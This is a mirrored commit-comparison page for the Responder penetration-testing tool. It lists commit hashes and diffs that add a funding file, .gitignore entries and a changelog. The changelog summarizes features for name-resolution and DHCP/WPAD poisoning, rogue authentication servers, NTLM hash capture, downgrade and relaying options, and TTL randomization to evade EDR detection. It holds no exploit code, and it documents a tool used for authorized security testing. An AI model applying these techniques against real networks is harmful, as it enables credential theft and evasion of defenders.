mirror of
https://github.com/lgandx/Responder.git
synced 2025-08-22 14:23:39 -07:00
Compare commits
199 commits
Author | SHA1 | Date | |
---|---|---|---|
|
08864c7d76 |
||
|
32da74c12d |
||
|
7a8d06b8d3 |
||
|
a9c41c97fc |
||
|
eeceecae8f |
||
|
f1d8d1a6c4 | ||
|
a5a2231ec3 | ||
|
398a1fce31 | ||
|
fa2b8dd5fd | ||
|
58eb8731a5 | ||
|
658480e0a5 | ||
|
a76ee47867 | ||
|
e346c01695 |
||
|
41ed7c4f4a |
||
|
ea820ab076 |
||
|
a0d1f03617 |
||
|
871cdffa97 | ||
|
e781559be0 | ||
|
6bf6887c49 | ||
|
545137275f |
||
|
6743423251 |
||
|
d740fb526f |
||
|
d3dd37a324 | ||
|
e918fe01c6 | ||
|
538e6c0d0d |
||
|
990df258a6 |
||
|
4947ae6e52 | ||
|
116a056e7d | ||
|
d715f2de21 | ||
|
64cf4d9873 | ||
|
ccbcd1736f | ||
|
413bc8be31 | ||
|
bf25abfec8 |
||
|
06b33edc27 |
||
|
807bd57a96 | ||
|
f50f0be59c | ||
|
1a2f2fdb22 | ||
|
e51f24e36c | ||
|
fa297c8a16 | ||
|
44bfd1d221 | ||
|
66e5b12c56 | ||
|
4b560f6e17 | ||
|
e564e5159b | ||
|
4b14455bdc | ||
|
ee5ab9a5fd | ||
|
39f8cbb931 | ||
|
ec3349cb1e | ||
|
2b9d89f044 |
||
|
b550dbe4b0 |
||
|
6636317799 | ||
|
add6224805 |
||
|
700b7d6222 | ||
|
66ee7f8f08 | ||
|
08e44d72ac | ||
|
20cdd9c7c2 | ||
|
6d61f0439c | ||
|
e9bd8a43ef | ||
|
4ea3d7b765 | ||
|
f670fbaa7f | ||
|
31393c7072 | ||
|
2f1b81b024 | ||
|
aed939c1ae |
||
|
6f0217feed |
||
|
6b1f53a6f4 |
||
|
351b1aad9e |
||
|
bf1cf1c335 |
||
|
6a76437464 |
||
|
f6d1e6027a |
||
|
cb042d16a2 |
||
|
90ff1d37a7 | ||
|
dc33d1f858 | ||
|
34603aed0a |
||
|
aa8d81861b |
||
|
2c4cadbf7d |
||
|
3a23ccdef8 |
||
|
2b37d5763a |
||
|
de20dcf408 |
||
|
6063c2f77a |
||
|
b61a640747 |
||
|
4ec2631ab0 |
||
|
9713fe0e70 |
||
|
63954a539c |
||
|
728b100bfd |
||
|
a205b58091 |
||
|
83c817d9c2 |
||
|
56e5fa0d29 |
||
|
332697fbd9 |
||
|
d8a30a5ec7 |
||
|
0c80b76f57 | ||
|
a21b36605c | ||
|
8e12d2bcfe | ||
|
ff21c5452c |
||
|
5c83b7c45b |
||
|
07c963f5ea |
||
|
feecf8ed0b |
||
|
e36fafb783 |
||
|
5ec5412fb9 |
||
|
6a11fe8b6a |
||
|
3f5c836ba0 |
||
|
8953f87bbd |
||
|
69f431e58f | ||
|
edb85332ab | ||
|
9c303d7bd5 |
||
|
b61d211b10 |
||
|
f39079da77 |
||
|
660b6ca309 | ||
|
8d25d04f13 |
||
|
9d4f919b39 |
||
|
59daf46b93 |
||
|
cf0c4ee659 | ||
|
709df2c6e1 | ||
|
3aaaaf1c7f |
||
|
c9b5dd040e | ||
|
4321919c9f | ||
|
b8818ed0c4 | ||
|
07dbcf5d6d | ||
|
c51251db5f | ||
|
fe58475c63 |
||
|
00d9d27089 | ||
|
56c3832a3c |
||
|
0bc226b4be | ||
|
fad2be0a8e |
||
|
2765ef4e66 | ||
|
2cd66a9b92 | ||
|
15d03bc902 | ||
|
9b1c99ccd2 | ||
|
983a1c6576 | ||
|
03fa9a7187 | ||
|
a6838fdc42 |
||
|
8c201cf33e |
||
|
0c7a3ffabe |
||
|
d1cb26bda7 |
||
|
0ced7d52c0 |
||
|
e7eb3bcce8 |
||
|
fd9bcf7de1 |
||
|
b9f3ae35ee | ||
|
39a2c7c0f2 |
||
|
bd823f65a2 |
||
|
ee88da1af8 |
||
|
f85ad77d59 |
||
|
b147229938 |
||
|
afb54fa274 | ||
|
5cf69228cf | ||
|
0b56d6aaeb | ||
|
5d4510cc1d | ||
|
bc812da2ef | ||
|
3e8c9fdb0e | ||
|
76f6c88df3 | ||
|
9dc779869b | ||
|
505ec34324 | ||
|
a0bf7a9baa | ||
|
bb17595e3f | ||
|
ba885b9345 | ||
|
568048710f | ||
|
3cd5140c80 | ||
|
17e62bda1a | ||
|
6e2c77168f | ||
|
d425783be9 | ||
|
de778f6698 | ||
|
21afd357f8 | ||
|
a567d3dc31 | ||
|
f90b76fed2 | ||
|
51411e6b20 | ||
|
826b5af9e2 | ||
|
29ae6eca2e | ||
|
a462d1df06 | ||
|
110f565bbd |
||
|
88a2c6a53b | ||
|
1dfa997da8 | ||
|
0bf23d632b | ||
|
02fb3f8978 | ||
|
1b2a22facf | ||
|
7bdfe7bbdd | ||
|
c449b6bcb9 | ||
|
88ea72908c | ||
|
3fe574683b |
||
|
dcb80d992e |
||
|
51f8ab4368 |
||
|
baf80aa4f0 | ||
|
ae1c2be51c | ||
|
4231532926 | ||
|
350058c179 | ||
|
79dfe8ebd0 | ||
|
85315442bd | ||
|
35a02e389b |
||
|
b779d1b494 |
||
|
53d66e3816 |
||
|
72070a02eb |
||
|
465f730846 |
||
|
0b669c305d |
||
|
8f74fdaf46 | ||
|
e91e37c974 | ||
|
027e6b95c3 | ||
|
7d96fa95c4 |
||
|
51f176633e |
||
|
3d9147f36c |
||
|
f4c11111a7 |
||
|
c33da69a8b |
||
|
e8e3f155f2 |
48 changed files with 3643 additions and 994 deletions
2
.github/FUNDING.yml
vendored
Normal file
2
.github/FUNDING.yml
vendored
Normal file
|
@ -0,0 +1,2 @@
|
|||
github: lgandx
|
||||
custom: 'https://paypal.me/PythonResponder'
|
6
.gitignore
vendored
6
.gitignore
vendored
|
@ -1,5 +1,11 @@
|
|||
# Python artifacts
|
||||
*.pyc
|
||||
|
||||
# Responder logs
|
||||
*.db
|
||||
*.txt
|
||||
*.log
|
||||
|
||||
# Generated certificates and keys
|
||||
certs/*.crt
|
||||
certs/*.key
|
||||
|
|
713
CHANGELOG.md
Normal file
713
CHANGELOG.md
Normal file
|
@ -0,0 +1,713 @@
|
|||
|
||||
n.n.n / 2025-05-22
|
||||
==================
|
||||
|
||||
* added check for aioquic & updated version to reflect recent changes
|
||||
* Merge pull request #310 from ctjf/master
|
||||
* Merge pull request #308 from BlWasp/error_code_returned
|
||||
* Merge pull request #311 from stfnw/master
|
||||
* DHCP poisoner: refactor FindIP
|
||||
* added quic support based on xpn's work
|
||||
* Indentation typos
|
||||
* Add status code control
|
||||
* Merge pull request #305 from L1-0/patch-1
|
||||
* Update RPC.py
|
||||
* Merge pull request #301 from q-roland/kerberos_relaying_llmnr
|
||||
* Adding answer name spoofing capabilities when poisoning LLMNR for Kerberos relaying purpose
|
||||
|
||||
n.n.n / 2025-05-22
|
||||
==================
|
||||
|
||||
* added check for aioquic & updated version to reflect recent changes
|
||||
* Merge pull request #310 from ctjf/master
|
||||
* Merge pull request #308 from BlWasp/error_code_returned
|
||||
* Merge pull request #311 from stfnw/master
|
||||
* DHCP poisoner: refactor FindIP
|
||||
* added quic support based on xpn's work
|
||||
* Indentation typos
|
||||
* Add status code control
|
||||
* Merge pull request #305 from L1-0/patch-1
|
||||
* Update RPC.py
|
||||
* Merge pull request #301 from q-roland/kerberos_relaying_llmnr
|
||||
* Adding answer name spoofing capabilities when poisoning LLMNR for Kerberos relaying purpose
|
||||
# Changelog
|
||||
|
||||
All notable changes to this project will be documented in this file.
|
||||
|
||||
The format is based on [Keep a Changelog](http://keepachangelog.com/en/1.0.0/)
|
||||
and this project adheres to [Semantic Versioning](http://semver.org/spec/v2.0.0.html).
|
||||
|
||||
<!-- insertion marker -->
|
||||
## Unreleased
|
||||
|
||||
<small>[Compare with latest](https://github.com/lgandx/Responder/compare/v3.1.4.0...HEAD)</small>
|
||||
|
||||
### Added
|
||||
|
||||
- Add options for poisoners ([807bd57](https://github.com/lgandx/Responder/commit/807bd57a96337ab77f2fff50729a6eb229e5dc37) by f3rn0s).
|
||||
- Add randomness in TTL value to avoid some EDR detections ([f50f0be](https://github.com/lgandx/Responder/commit/f50f0be59c0de6fd0ff8eef62ba31db96815c878) by nodauf).
|
||||
- added support for either resolv.conf or resolvectl ([1a2f2fd](https://github.com/lgandx/Responder/commit/1a2f2fdb22a2bf8b04e0ac99219831457b7ba43a) by lgandx).
|
||||
|
||||
### Fixed
|
||||
|
||||
- Fixed issue with smb signing detection ([413bc8b](https://github.com/lgandx/Responder/commit/413bc8be3169d215f7d5f251a78c8d8404e52f61) by lgandx).
|
||||
- fixed minor bug ([e51f24e](https://github.com/lgandx/Responder/commit/e51f24e36c1f84bc995a690d385c506c35cc6175) by lgandx).
|
||||
- Fixed bug when IPv6 is disabled via GRUB. ([fa297c8](https://github.com/lgandx/Responder/commit/fa297c8a16f605bdb731542c67280a4d8bc023c4) by lgandx).
|
||||
|
||||
### Removed
|
||||
|
||||
- removed debug string ([4b560f6](https://github.com/lgandx/Responder/commit/4b560f6e17493dcfc6bf653d0ebe0547a88735ac) by lgandx).
|
||||
- removed bowser listener ([e564e51](https://github.com/lgandx/Responder/commit/e564e5159b9a1bfe3c5f1101b3ab11672e0fd46b) by lgandx).
|
||||
|
||||
<!-- insertion marker -->
|
||||
## [v3.1.4.0](https://github.com/lgandx/Responder/releases/tag/v3.1.4.0) - 2024-01-04
|
||||
|
||||
<small>[Compare with v3.1.3.0](https://github.com/lgandx/Responder/compare/v3.1.3.0...v3.1.4.0)</small>
|
||||
|
||||
### Added
|
||||
|
||||
- added LDAPS listener ([6d61f04](https://github.com/lgandx/Responder/commit/6d61f0439c1779767c9ea9840ac433ed98e672cd) by exploide).
|
||||
- added:error handling on exceptions. ([f670fba](https://github.com/lgandx/Responder/commit/f670fbaa7fcd3b072aef7cf29f43c1d76d6f13bf) by lgandx).
|
||||
- Added full path to gen-self-sign-cert.sh ([69f431e](https://github.com/lgandx/Responder/commit/69f431e58f07c231e75a73b0782855e9277573ac) by kevintellier).
|
||||
- add flag (-s) to enable smbv1scan ([cf0c4ee](https://github.com/lgandx/Responder/commit/cf0c4ee659779c027374155716f09b13cb41abb5) by requin).
|
||||
- add hostname on smbv2 scan result ([709df2c](https://github.com/lgandx/Responder/commit/709df2c6e18ec2fa6647fdaaa4d9f9e2cb7920f8) by requin).
|
||||
- Added dump by legacy protocols ([b8818ed](https://github.com/lgandx/Responder/commit/b8818ed0c47d9d615c4ba1dcff99e8d2d98296d5) by lgandx).
|
||||
- added requirements.txt ([00d9d27](https://github.com/lgandx/Responder/commit/00d9d27089d8f02658b08f596d28d1722c276d57) by lgandx).
|
||||
- Added: append .local TLD to DontRespondToNames + MDNS bug fix ([0bc226b](https://github.com/lgandx/Responder/commit/0bc226b4beaa84eb3ac26f5d563959ccf567262b) by lgandx).
|
||||
- Added Quiet mode ([2cd66a9](https://github.com/lgandx/Responder/commit/2cd66a9b92aa6ca2b7fba0fea03b0a285c186683) by jb).
|
||||
|
||||
### Fixed
|
||||
|
||||
- Fixed issue in http srv, more hashes & signature reduction. ([66ee7f8](https://github.com/lgandx/Responder/commit/66ee7f8f08f57926f5b3694ffb9e87619eee576f) by lgandx).
|
||||
- fixed a TypeError in MSSQLBrowser ([20cdd9c](https://github.com/lgandx/Responder/commit/20cdd9c7c23e620e3d530f76003b94407882e9cd) by exploide).
|
||||
- fixed 'SyntaxWarning: invalid escape sequence' for Python 3.12+ ([e9bd8a4](https://github.com/lgandx/Responder/commit/e9bd8a43ef353a03ba9195236a3aa5faf3788faa) by exploide).
|
||||
- fixed minor bug on py 3.10 ([31393c7](https://github.com/lgandx/Responder/commit/31393c70726206fc1056f76ef6b81a981d7954c5) by lgandx).
|
||||
- fixed HTTP basic auth parsing when password contains colons ([dc33d1f](https://github.com/lgandx/Responder/commit/dc33d1f858e9bbc58ae8edf030dbfee208d748f1) by exploide).
|
||||
- Fixing soft failure which results in missed SMTP credential interception ([34603ae](https://github.com/lgandx/Responder/commit/34603aed0aadfe3c3625ea729cbc9dc0f06e7e73) by Syntricks).
|
||||
- Fixing collections import issue for /tools/MultiRelay/odict.py ([aa8d818](https://github.com/lgandx/Responder/commit/aa8d81861bcdfc3dbf253b617ec044fd4807e9d4) by Shutdown).
|
||||
- Fixing import issue like in /tools/odict.py ([2c4cadb](https://github.com/lgandx/Responder/commit/2c4cadbf7dec6e26ec2494a0cfde38655f5bebaf) by Shutdown).
|
||||
- fix typo of ServerTlype ([0c80b76](https://github.com/lgandx/Responder/commit/0c80b76f5758dfae86bf4924a49b29c31e2e77f8) by deltronzero).
|
||||
- Fixed potential disruption on Proxy-Auth ([c51251d](https://github.com/lgandx/Responder/commit/c51251db5ff311743238b1675d52edb7c6849f00) by lgandx).
|
||||
- fixed the RespondTo/DontRespondTo issue ([2765ef4](https://github.com/lgandx/Responder/commit/2765ef4e668bc3493924aae5032e3ec63078ac42) by lgandx).
|
||||
|
||||
### Removed
|
||||
|
||||
- removed patreon donation link. ([700b7d6](https://github.com/lgandx/Responder/commit/700b7d6222afe3c1d6fb17a0a522e1166e6ad025) by lgandx).
|
||||
- removed useless string ([08e44d7](https://github.com/lgandx/Responder/commit/08e44d72acd563910c153749b3c204ce0304bdd1) by lgandx).
|
||||
- removed debug ([4ea3d7b](https://github.com/lgandx/Responder/commit/4ea3d7b76554dee5160aaf76a0235074590284f8) by lgandx).
|
||||
- Removed Patreon link ([8e12d2b](https://github.com/lgandx/Responder/commit/8e12d2bcfe11cc23e35ea678b9e4979856183d0e) by lgandx).
|
||||
- Removed machine accounts dump, since they are not crackable ([c9b5dd0](https://github.com/lgandx/Responder/commit/c9b5dd040e27de95638b33da7a35e5187efb4aac) by lgandx).
|
||||
|
||||
## [v3.1.3.0](https://github.com/lgandx/Responder/releases/tag/v3.1.3.0) - 2022-07-26
|
||||
|
||||
<small>[Compare with v3.1.2.0](https://github.com/lgandx/Responder/compare/v3.1.2.0...v3.1.3.0)</small>
|
||||
|
||||
### Fixed
|
||||
|
||||
- Fixed: Warnings on python 3.10 ([9b1c99c](https://github.com/lgandx/Responder/commit/9b1c99ccd29890496b0194c061266997e28be4c0) by lgandx).
|
||||
- Fix missing paren error ([0c7a3ff](https://github.com/lgandx/Responder/commit/0c7a3ffabeee77cb9f3d960168a357e9583b2f9f) by cweedon).
|
||||
- Fix double logging of first hash or cleartext ([e7eb3bc](https://github.com/lgandx/Responder/commit/e7eb3bcce85c5d437082214c0e8044919cccee56) by Gustaf Blomqvist).
|
||||
|
||||
### Removed
|
||||
|
||||
- removed -r reference from help msg. ([983a1c6](https://github.com/lgandx/Responder/commit/983a1c6576cb7dfe6cabea93e56dc4f2c557621b) by lgandx).
|
||||
- removed -r references ([03fa9a7](https://github.com/lgandx/Responder/commit/03fa9a7187c80586629c58a297d0d78f2f8da559) by lgandx).
|
||||
|
||||
## [v3.1.2.0](https://github.com/lgandx/Responder/releases/tag/v3.1.2.0) - 2022-02-12
|
||||
|
||||
<small>[Compare with v3.1.1.0](https://github.com/lgandx/Responder/compare/v3.1.1.0...v3.1.2.0)</small>
|
||||
|
||||
### Added
|
||||
|
||||
- added support for OPT EDNS ([5cf6922](https://github.com/lgandx/Responder/commit/5cf69228cf5ce4c0433904ee1d05955e8fd6f618) by lgandx).
|
||||
|
||||
### Fixed
|
||||
|
||||
- Fixed options formating in README ([f85ad77](https://github.com/lgandx/Responder/commit/f85ad77d595f5d79b86ddce843bc884f1ff4ac9e) by Andrii Nechytailov).
|
||||
|
||||
## [v3.1.1.0](https://github.com/lgandx/Responder/releases/tag/v3.1.1.0) - 2021-12-17
|
||||
|
||||
<small>[Compare with v3.0.9.0](https://github.com/lgandx/Responder/compare/v3.0.9.0...v3.1.1.0)</small>
|
||||
|
||||
### Added
|
||||
|
||||
- Added IPv6 support ([5d4510c](https://github.com/lgandx/Responder/commit/5d4510cc1d0479b13ece9d58ea60d187daf8cdab) by lgandx).
|
||||
- added: dhcp inform ([3e8c9fd](https://github.com/lgandx/Responder/commit/3e8c9fdb0eceb3eb1f7c6dbc81502b340a5ca152) by lgandx).
|
||||
- Added DHCP DNS vs DHCP WPAD ([76f6c88](https://github.com/lgandx/Responder/commit/76f6c88df31bbd59dc6dceba1b59251012e45f81) by lgandx).
|
||||
- Added DHCP DNS vs WPAD srv injection ([9dc7798](https://github.com/lgandx/Responder/commit/9dc779869b5a47fdf26cf79a727ea4a853f0d129) by lgandx).
|
||||
- Added date and time for each Responder session config log. ([bb17595](https://github.com/lgandx/Responder/commit/bb17595e3fc9fafa58c8979bebc395ed872ef598) by lgandx).
|
||||
|
||||
### Removed
|
||||
|
||||
- removed fingerprint.py ([0b56d6a](https://github.com/lgandx/Responder/commit/0b56d6aaeb00406b364cf152b258365393d64ccc) by lgandx).
|
||||
|
||||
## [v3.0.9.0](https://github.com/lgandx/Responder/releases/tag/v3.0.9.0) - 2021-12-10
|
||||
|
||||
<small>[Compare with v3.0.8.0](https://github.com/lgandx/Responder/compare/v3.0.8.0...v3.0.9.0)</small>
|
||||
|
||||
### Added
|
||||
|
||||
- added the ability to provide external IP on WPAD poison via DHCP ([ba885b9](https://github.com/lgandx/Responder/commit/ba885b9345024809555d1a2c1f8cc463870602bb) by lgandx).
|
||||
- Added a check for MSSQL ([5680487](https://github.com/lgandx/Responder/commit/568048710f0cf5c04c53fd8e026fdd1b3f5c16e6) by lgandx).
|
||||
|
||||
### Fixed
|
||||
|
||||
- Fixed the ON/OFF for poisoners when in Analyze mode. ([3cd5140](https://github.com/lgandx/Responder/commit/3cd5140c800d8f4e9e8547e4137cafe33fc2f066) by lgandx).
|
||||
|
||||
### Removed
|
||||
|
||||
- Remove analyze mode on DNS since you need to ARP to get queries ([17e62bd](https://github.com/lgandx/Responder/commit/17e62bda1aed4884c1f08e514faba8c1e39b36ad) by lgandx).
|
||||
|
||||
## [v3.0.8.0](https://github.com/lgandx/Responder/releases/tag/v3.0.8.0) - 2021-12-03
|
||||
|
||||
<small>[Compare with v3.0.7.0](https://github.com/lgandx/Responder/compare/v3.0.7.0...v3.0.8.0)</small>
|
||||
|
||||
### Added
|
||||
|
||||
- Added DB for RunFinger results & Report ([f90b76f](https://github.com/lgandx/Responder/commit/f90b76fed202ee4a6e17a030151c8de4430717a8) by lgandx).
|
||||
- added timeout option for fine tuning ([a462d1d](https://github.com/lgandx/Responder/commit/a462d1df061b214eebcabdbe3f95caa5dd8ea3c7) by lgandx).
|
||||
- added DHCP db & updated the report script to reflect that ([1dfa997](https://github.com/lgandx/Responder/commit/1dfa997da8c0fa1e51a1be30b2a3d5f5d92f4b7f) by lgandx).
|
||||
- Added support for single IP or range file. ([02fb3f8](https://github.com/lgandx/Responder/commit/02fb3f8978286a486d633a707889ea8992a7f43a) by lgandx).
|
||||
|
||||
### Fixed
|
||||
|
||||
- fix: DHCP now working on VPN interface ([88a2c6a](https://github.com/lgandx/Responder/commit/88a2c6a53b721da995fbbd8e5cd82fb40d4af268) by lgandx).
|
||||
- Fixed a bug and increased speed. ([1b2a22f](https://github.com/lgandx/Responder/commit/1b2a22facfd54820cc5f8ebba06f5cd996e917dc) by lgandx).
|
||||
|
||||
### Removed
|
||||
|
||||
- Removed old DHCP script since its now a Responder module. ([d425783](https://github.com/lgandx/Responder/commit/d425783be994b0d2518633e4b93e13e305685e5b) by lgandx).
|
||||
- removed default certs ([de778f6](https://github.com/lgandx/Responder/commit/de778f66982817f1149408bc2e080371d3d4a71d) by lgandx).
|
||||
- Removed the static certs and added automatic cert generation ([21afd35](https://github.com/lgandx/Responder/commit/21afd357f828b586cfa96992c8c978024285b162) by lgandx).
|
||||
- removed debug str ([826b5af](https://github.com/lgandx/Responder/commit/826b5af9e2e37d50afdd3eb3ee66121e6c81c2a2) by lgandx).
|
||||
|
||||
## [v3.0.7.0](https://github.com/lgandx/Responder/releases/tag/v3.0.7.0) - 2021-10-26
|
||||
|
||||
<small>[Compare with v3.0.6.0](https://github.com/lgandx/Responder/compare/v3.0.6.0...v3.0.7.0)</small>
|
||||
|
||||
### Added
|
||||
|
||||
- Added DHCP server ([c449b6b](https://github.com/lgandx/Responder/commit/c449b6bcb990959e352967b3842b09978b9b2729) by lgandx).
|
||||
- Add --lm switch for ESS downgrade ([dcb80d9](https://github.com/lgandx/Responder/commit/dcb80d992e385a0f0fdd3f724a0b040a42439306) by Pixis).
|
||||
- Add ESS disabling information ([51f8ab4](https://github.com/lgandx/Responder/commit/51f8ab43682973df32534ca97c99fb1318a0c77d) by Pixis).
|
||||
- Add ESS downgrade parameter ([baf80aa](https://github.com/lgandx/Responder/commit/baf80aa4f0e1aaf9ee81ffe6b0b5089d39f42516) by pixis).
|
||||
|
||||
### Fixed
|
||||
|
||||
- fixed minor isse ([350058c](https://github.com/lgandx/Responder/commit/350058c1795e43c23950b6bd23c33f45795ec7cc) by lgandx).
|
||||
|
||||
## [v3.0.6.0](https://github.com/lgandx/Responder/releases/tag/v3.0.6.0) - 2021-04-19
|
||||
|
||||
<small>[Compare with v3.0.5.0](https://github.com/lgandx/Responder/compare/v3.0.5.0...v3.0.6.0)</small>
|
||||
|
||||
### Added
|
||||
|
||||
- Added WinRM rogue server ([8531544](https://github.com/lgandx/Responder/commit/85315442bd010dd61fcb62de8d6ca9cc969426ba) by lgandx).
|
||||
|
||||
## [v3.0.5.0](https://github.com/lgandx/Responder/releases/tag/v3.0.5.0) - 2021-04-17
|
||||
|
||||
<small>[Compare with v3.0.4.0](https://github.com/lgandx/Responder/compare/v3.0.4.0...v3.0.5.0)</small>
|
||||
|
||||
### Added
|
||||
|
||||
- Added dce-rpc module + enhancements + bug fix. ([e91e37c](https://github.com/lgandx/Responder/commit/e91e37c9749f58330e0d68ce062a48b100a2d09e) by lgandx).
|
||||
|
||||
### Removed
|
||||
|
||||
- removed addiontional RR on SRV answers ([027e6b9](https://github.com/lgandx/Responder/commit/027e6b95c3ca89367cb5123758c2fc29aba27a59) by lgandx).
|
||||
|
||||
## [v3.0.4.0](https://github.com/lgandx/Responder/releases/tag/v3.0.4.0) - 2021-04-12
|
||||
|
||||
<small>[Compare with v3.0.3.0](https://github.com/lgandx/Responder/compare/v3.0.3.0...v3.0.4.0)</small>
|
||||
|
||||
### Added
|
||||
|
||||
- Added DNS SRV handling for ldap/kerberos + LDAP netlogon ping ([1271b8e](https://github.com/lgandx/Responder/commit/1271b8e17983bd3969d951ce2b4c9b75600f94b9) by lgandx).
|
||||
- added a check for exec file ([cc3a5b5](https://github.com/lgandx/Responder/commit/cc3a5b5cfffbb8e7430030aa66a2981feae7fe85) by lgandx).
|
||||
- Added donation banner. ([8104139](https://github.com/lgandx/Responder/commit/8104139a3535a49caf7ec0ed64e8e33ea686494f) by lgandx).
|
||||
- added donation address and minor typo ([06f9f91](https://github.com/lgandx/Responder/commit/06f9f91f118b0729a74d3c1810a493886655e6f1) by lgandx).
|
||||
- added smb filetime support ([b0f044f](https://github.com/lgandx/Responder/commit/b0f044fe4e710597ae73e6f1af87ea246b0cd365) by lgandx).
|
||||
|
||||
### Removed
|
||||
|
||||
- removed FindSMB2UPTime.py since RunFinger already get this info ([6c51080](https://github.com/lgandx/Responder/commit/6c51080109fd8c9305021336c0dc8c72e01b5541) by lgandx).
|
||||
- Removed MultiRelay binaries ([35b12b4](https://github.com/lgandx/Responder/commit/35b12b48323b1960960aba916334635d5a590875) by lgandx).
|
||||
- Removed BindShell executable file ([5d762c4](https://github.com/lgandx/Responder/commit/5d762c4a550f2c578f4d7874f24563240276852d) by lgandx).
|
||||
- Removed donation banner ([ccee87a](https://github.com/lgandx/Responder/commit/ccee87aa95f2ec16827592ba9d98c4895cec0cb9) by lgandx).
|
||||
- removed verification ([dd1a674](https://github.com/lgandx/Responder/commit/dd1a67408081c94490a3263c46b2eb0b6107e542) by lgandx).
|
||||
|
||||
## [v3.0.3.0](https://github.com/lgandx/Responder/releases/tag/v3.0.3.0) - 2021-02-08
|
||||
|
||||
<small>[Compare with v3.0.2.0](https://github.com/lgandx/Responder/compare/v3.0.2.0...v3.0.3.0)</small>
|
||||
|
||||
### Added
|
||||
|
||||
- Added support for SMB2 signing ([24e7b7c](https://github.com/lgandx/Responder/commit/24e7b7c667c3c9feb1cd3a25b16bd8d9c2df5ec6) by lgandx).
|
||||
- Added SMB2 support for RunFinger and various other checks. ([e24792d](https://github.com/lgandx/Responder/commit/e24792d7743dbf3a5c5ffac92113e36e5d682e42) by lgandx).
|
||||
|
||||
### Fixed
|
||||
|
||||
- Fix wrong syntax ([fb10d20](https://github.com/lgandx/Responder/commit/fb10d20ea387448ad084a57f5f4441c908fc53cc) by Khiem Doan).
|
||||
- fix custom challenge in python3 ([7b47c8f](https://github.com/lgandx/Responder/commit/7b47c8fe4edcb53b035465985d92500b96fb1a84) by ThePirateWhoSmellsOfSunflowers).
|
||||
- Fix typos in README ([12b796a](https://github.com/lgandx/Responder/commit/12b796a292b87be15ef8eec31cb276c447b9e8c8) by Laban Sköllermark).
|
||||
|
||||
## [v3.0.2.0](https://github.com/lgandx/Responder/releases/tag/v3.0.2.0) - 2020-09-28
|
||||
|
||||
<small>[Compare with v3.0.1.0](https://github.com/lgandx/Responder/compare/v3.0.1.0...v3.0.2.0)</small>
|
||||
|
||||
### Fixed
|
||||
|
||||
- Fixed LLMNR/NBT-NS/Browser issue when binding to a specific interface ([af7d27a](https://github.com/lgandx/Responder/commit/af7d27ac8cb3c2b0664a8b0a11940c0f3c25c891) by lgandx).
|
||||
|
||||
## [v3.0.1.0](https://github.com/lgandx/Responder/releases/tag/v3.0.1.0) - 2020-08-19
|
||||
|
||||
<small>[Compare with v3.0.0.0](https://github.com/lgandx/Responder/compare/v3.0.0.0...v3.0.1.0)</small>
|
||||
|
||||
### Added
|
||||
|
||||
- Added DNSUpdate.py, a small script to add DNS record to DC for gatering from different VLANs ([05617de](https://github.com/lgandx/Responder/commit/05617defefcd6954915d0b42d73d4ccfcccad2d4) by Sagar-Jangam).
|
||||
|
||||
### Fixed
|
||||
|
||||
- Fix encoding issue in Python 3 ([7420f62](https://github.com/lgandx/Responder/commit/7420f620825d5a5ae6dc68364a5680910f7f0512) by Sophie Brun).
|
||||
|
||||
## [v3.0.0.0](https://github.com/lgandx/Responder/releases/tag/v3.0.0.0) - 2020-01-09
|
||||
|
||||
<small>[Compare with v2.3.4.0](https://github.com/lgandx/Responder/compare/v2.3.4.0...v3.0.0.0)</small>
|
||||
|
||||
### Added
|
||||
|
||||
- Added py3 and py2 compatibility + many bugfix ([b510b2b](https://github.com/lgandx/Responder/commit/b510b2bb2523a3fe24953ac685e697914a60b26c) by lgandx).
|
||||
|
||||
## [v2.3.4.0](https://github.com/lgandx/Responder/releases/tag/v2.3.4.0) - 2019-08-17
|
||||
|
||||
<small>[Compare with v2.3.3.9](https://github.com/lgandx/Responder/compare/v2.3.3.9...v2.3.4.0)</small>
|
||||
|
||||
### Added
|
||||
|
||||
- Added RDP rogue server ([c52843a](https://github.com/lgandx/Responder/commit/c52843a5359a143c5a94a74c095d6ac4679cd4b1) by lgandx).
|
||||
- Added proper changes to RunFinger (and is not checking for MS17-010 straight away) ([105502e](https://github.com/lgandx/Responder/commit/105502edd401615604e09a9a71a268252c82523d) by Paul A).
|
||||
|
||||
### Fixed
|
||||
|
||||
- Fix socket timeout on HTTP POST requests ([e7a787c](https://github.com/lgandx/Responder/commit/e7a787cbc4e01e92be6e062e94211dca644fae0c) by Crypt0-M3lon).
|
||||
- fixed minor bugfix on recent merge ([38e721d](https://github.com/lgandx/Responder/commit/38e721da9826b95ed3599151559e8f8c535e4d6e) by lgandx).
|
||||
- Fix multi HTTP responses ([defabfa](https://github.com/lgandx/Responder/commit/defabfa543f0b567d7e981003c7a00d7f02c3a16) by Clément Notin).
|
||||
- Fix version number in settings.py ([621c5a3](https://github.com/lgandx/Responder/commit/621c5a3c125646c14db19fc48f30e4075102c929) by Clément Notin).
|
||||
- Fixed some small typos in MS17-010 output ([daaf6f7](https://github.com/lgandx/Responder/commit/daaf6f7296ee754fe37b2382d0e459f7b6e74dcc) by Chris Maddalena).
|
||||
|
||||
### Removed
|
||||
|
||||
- removed debug string ([47e63ae](https://github.com/lgandx/Responder/commit/47e63ae4ec3266a35845d0bf116cf17fa0d17fd7) by lgandx).
|
||||
|
||||
## [v2.3.3.9](https://github.com/lgandx/Responder/releases/tag/v2.3.3.9) - 2017-11-20
|
||||
|
||||
<small>[Compare with v2.3.3.8](https://github.com/lgandx/Responder/compare/v2.3.3.8...v2.3.3.9)</small>
|
||||
|
||||
### Added
|
||||
|
||||
- Added: check for null sessions and MS17-010 ([b37f562](https://github.com/lgandx/Responder/commit/b37f56264a6b57faff81c12a8143662bf1ddb91d) by lgandx).
|
||||
- Add ignore case on check body for html inject ([47c3115](https://github.com/lgandx/Responder/commit/47c311553eb38327622d5e6b25e20a662c31c30d) by Lionel PRAT).
|
||||
- added support for plain auth ([207b0d4](https://github.com/lgandx/Responder/commit/207b0d455c95a5cd68fbfbbc022e5cc3cb41878f) by lgandx).
|
||||
|
||||
## [v2.3.3.8](https://github.com/lgandx/Responder/releases/tag/v2.3.3.8) - 2017-09-05
|
||||
|
||||
<small>[Compare with v2.3.3.7](https://github.com/lgandx/Responder/compare/v2.3.3.7...v2.3.3.8)</small>
|
||||
|
||||
### Changed
|
||||
|
||||
- Changed the complete LDAP parsing hash algo (ntlmv2 bug). ([679cf65](https://github.com/lgandx/Responder/commit/679cf65cff0c537b594d284cd01e2ea9c690d4ae) by lgandx).
|
||||
|
||||
## [v2.3.3.7](https://github.com/lgandx/Responder/releases/tag/v2.3.3.7) - 2017-09-05
|
||||
|
||||
